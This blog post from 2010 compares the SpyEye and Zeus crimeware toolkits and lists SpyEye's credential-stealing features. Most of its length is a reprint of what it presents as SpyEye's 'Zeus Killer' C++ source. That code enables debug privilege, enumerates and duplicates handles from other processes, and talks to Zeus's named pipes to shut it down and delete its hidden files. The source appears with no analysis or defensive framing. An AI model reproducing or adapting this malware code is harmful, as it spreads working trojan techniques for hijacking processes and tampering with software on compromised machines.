SpyEye versus Zeus - Trojan War.

posted 13 Mar 2010, 16:10 by Delphi Basics   [ updated 14 Mar 2010, 09:48 ]
Zeus crimeware toolkit is currently the most established crimeware toolkit in the underground economy. In late November 2009 a new crimeware toolkit, SpyEye, started appearing in sales on Russian underground forums. Retailing at $500, it is looking to take a chunk of the Zeus crimeware toolkit market. Since it is relatively new, we are not seeing a lot of SpyEye activity yet. However, given some time and the observed rate of development for this crimeware toolkit, SpyEye could be a future contender for king of the crimeware toolkits.

Read more: http://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot

SpyEye Builder:

The SpyEye toolkit is similar to Zeus in a lot of ways. It contains a builder module for creating the Trojan bot executable with config file and a Web control panel for command and control (C&C) of a bot net. Some of the advertised features online are:

•    Formgrabber (Keylogger)
•    Autofill credit card modules
•    Daily email backup
•    Encrypted config file
•    Ftp protocol grabber
•    Pop3 grabber
•    Http basic access authorization grabber
•    Zeus killer

New revisions of SpyEye, with additional features, are being released on a regular basis. The latest version (V1.0.7) contains an interesting new feature called “Kill Zeus” that we have yet to substantiate. SpyEye hooks the same Wininet API (Wininet.dll) HttpSendRequestA as used by Zeus for communications. If a compromised system infected with SpyEye was also infected with Zeus, this in turn would allow SpyEye to grab and report on http requests sent to the Zeus C&C server.

The new Kill Zeus feature is optional during the Trojan build process, but it supposedly goes as far as allowing you to delete Zeus from an infected system—meaning only SpyEye should remain running on the compromised system. If the use of SpyEye takes off, it could dent Zeus bot herds and lead to retaliation from the creators of the Zeus crimeware toolkit. This, in turn, could lead to another bot war such as we have seen in the past with Beagle, Netsky, and Mydoom.

Another feature of SpyEye is the ability to load additional threats onto infected SpyEye systems, by country.

ZeuS Killer code

This is the C++ source code for the Zeus Killer from SpyEye
#include <windows.h>
#pragma warning(disable : 4005) // macro redefinition
#include <ntdll.h>
#pragma warning(default : 4005)
#include <shlwapi.h>
#include <shlobj.h>
void GetZeusInfo(ULONG dwArg, PCHAR lpOut, DWORD dwOutLn, PCHAR lpMutex, DWORD dwMutexLn)
{
PSYSTEM_HANDLE_INFORMATION shi = 0;
NTSTATUS Status = 0;
ULONG len = 0x2000;
POBJECT_NAME_INFORMATION obn = 0;
HANDLE proc = 0, thandle = 0, hFile = 0;
BOOLEAN enable = FALSE;
UCHAR name[300] = {0};
ULONG temp = 0, rw = 0;
do
{
shi = (PSYSTEM_HANDLE_INFORMATION)malloc(len);
if (shi == 0)
{
return;
}
Status = NtQuerySystemInformation(SystemHandleInformation, shi, len, NULL);
if (Status == STATUS_INFO_LENGTH_MISMATCH)
{
free(shi);
len *= 2;
}
else
if (NT_ERROR(Status))
{
free(shi);
return;
}
} while (Status == STATUS_INFO_LENGTH_MISMATCH);
RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, 1, 0, &enable);
for (int i=0; i<(int)shi->uCount; i++)
{
proc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, shi->aSH[i].uIdProcess);
if (proc == 0)
{
continue;
}
Status = NtDuplicateObject(proc, (HANDLE)shi->aSH[i].Handle, NtCurrentProcess(),
&thandle, 0, 0, DUPLICATE_SAME_ACCESS);
if (NT_ERROR(Status))
{
NtClose(proc);
continue;
}
Status = NtQueryObject(thandle, ObjectNameInformation, 0, 0, &len);
if (Status != STATUS_INFO_LENGTH_MISMATCH || len == 0)
{
NtClose(thandle);
NtClose(proc);
continue;
}
obn = (POBJECT_NAME_INFORMATION)malloc(len);
if (obn == 0)
{
NtClose(thandle);
NtClose(proc);
continue;
}
Status = NtQueryObject(thandle, ObjectNameInformation, obn, len, &len);
if (NT_ERROR(Status) || obn->Name.Buffer == 0)
{
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
RtlZeroMemory(name, sizeof(name));
WideCharToMultiByte(CP_ACP, 0, obn->Name.Buffer, obn->Name.Length >> 1,
(LPSTR)name, 300, NULL, NULL);
if (strstr((LPSTR)name, "__SYSTEM__") || strstr((LPSTR)name, "_AVIRA_"))
{
lstrcpyW((LPWSTR)name, L"\\\\.\\pipe\\");
lstrcatW((LPWSTR)name, obn->Name.Buffer);
__retry:
hFile = CreateFileW((LPWSTR)name, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
WaitNamedPipeW((LPWSTR)name, INFINITE);
hFile = CreateFileW((LPWSTR)name,
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
WCHAR wszBNO[] = { L"\\BaseNamedObjects\\" };
if (LPWSTR wszBNOPos = StrStrW((LPWSTR)name, wszBNO))
{
lstrcpyW((LPWSTR)name, L"\\\\.\\pipe\\");
lstrcatW((LPWSTR)name,
(LPWSTR)((PBYTE)wszBNOPos + (sizeof(wszBNO) - 1 * sizeof(WCHAR))));
goto __retry;
}
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
}
temp = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(hFile, &temp, 0, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = dwArg;
if (!WriteFile(hFile, &temp, 4, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = 0;
if (!WriteFile(hFile, &temp, 4, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = 0;
if (!WriteFile(hFile, &temp, 0, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = 0;
if (!ReadFile(hFile, &temp, 4, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = 0;
if (!ReadFile(hFile, &temp, 4, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
if (temp > MAX_PATH)
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
rw = temp;
temp = (ULONG)malloc(temp);
if (!temp)
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
if (!ReadFile(hFile, (PVOID)temp, rw, &rw, 0))
{
free((PVOID)temp);
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
if ( (temp) && lstrlenW((LPCWSTR)temp) < (int)dwOutLn) {
RtlZeroMemory(lpOut, dwOutLn);
WideCharToMultiByte(CP_ACP, 0, (PWCHAR)temp,
lstrlenW((LPCWSTR)temp), (LPSTR)lpOut, dwOutLn, NULL, NULL);
}
if (lpMutex) {
LPWSTR lpwMutexName = obn->Name.Buffer;
LPWSTR lpwTemp;
while (lpwTemp = StrStrW(lpwMutexName, L"\\")) {
lpwMutexName = lpwTemp + 1;
}
RtlZeroMemory(lpMutex, dwMutexLn);
WideCharToMultiByte(CP_ACP, 0, lpwMutexName,
lstrlenW(lpwMutexName), (LPSTR)lpMutex, dwMutexLn, NULL, NULL);
}
free((PVOID)temp);
CloseHandle(hFile);
}
free(obn);
NtClose(thandle);
NtClose(proc);
}
}
BOOL DeleteHiddenFile(PCHAR szPath)
{
SetFileAttributes(szPath, FILE_ATTRIBUTE_ARCHIVE);
return DeleteFile(szPath);
}
#define ZEUS_FASTCLEAN
BOOL KillZeus()
{
// Getting info
CHAR szMutexName[MAX_PATH] = {0};
CHAR szZeusPath[MAX_PATH];
GetZeusInfo(11, szZeusPath, sizeof szZeusPath, szMutexName, sizeof szMutexName);
if (!strlen(szMutexName)) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : ERROR : Cannot get szMutexName");
#endif
return FALSE;
}
#ifndef ZEUS_FASTCLEAN
CHAR szZeusConfig[MAX_PATH];
GetZeusInfo(12, szZeusConfig, sizeof szZeusConfig, NULL, NULL);
CHAR szZeusLog[MAX_PATH];
GetZeusInfo(13, szZeusLog, sizeof szZeusLog, NULL, NULL);
#endif
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : INFO : 0.) Mutex \"%s\"", szMutexName);
OutputDebugStringEx(__FUNCTION__" : INFO : 1.) Path \"%s\"", szZeusPath);
#ifndef ZEUS_FASTCLEAN
OutputDebugStringEx(__FUNCTION__" : INFO : 2.) Config \"%s\"", szZeusConfig);
OutputDebugStringEx(__FUNCTION__" : INFO : 3.) Log \"%s\"", szZeusLog);
#endif
#endif
// Killing
GetZeusInfo(3, NULL, NULL, NULL, NULL);
// Waiting
HANDLE hMutex;
for (INT i = 0; i < 10; i++) {
hMutex =
OpenMutex(MUTANT_QUERY_STATE|SYNCHRONIZE|STANDARD_RIGHTS_REQUIRED, FALSE,
szMutexName);
if (!hMutex)
break;
CloseHandle(hMutex);
Sleep(1000);
}
if (hMutex) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : ERROR : hMutex is still active");
#endif
return FALSE;
}
// Deleting files
if (!DeleteHiddenFile(szZeusPath)) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",
szZeusPath);
#endif
}
#ifndef ZEUS_FASTCLEAN
if (!DeleteHiddenFile(szZeusConfig)) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",
szZeusConfig);
#endif
}
if (!DeleteHiddenFile(szZeusLog)) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",
szZeusLog);
#endif
}
#endif
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : INFO : EXIT");
#endif
return TRUE;
}
Comments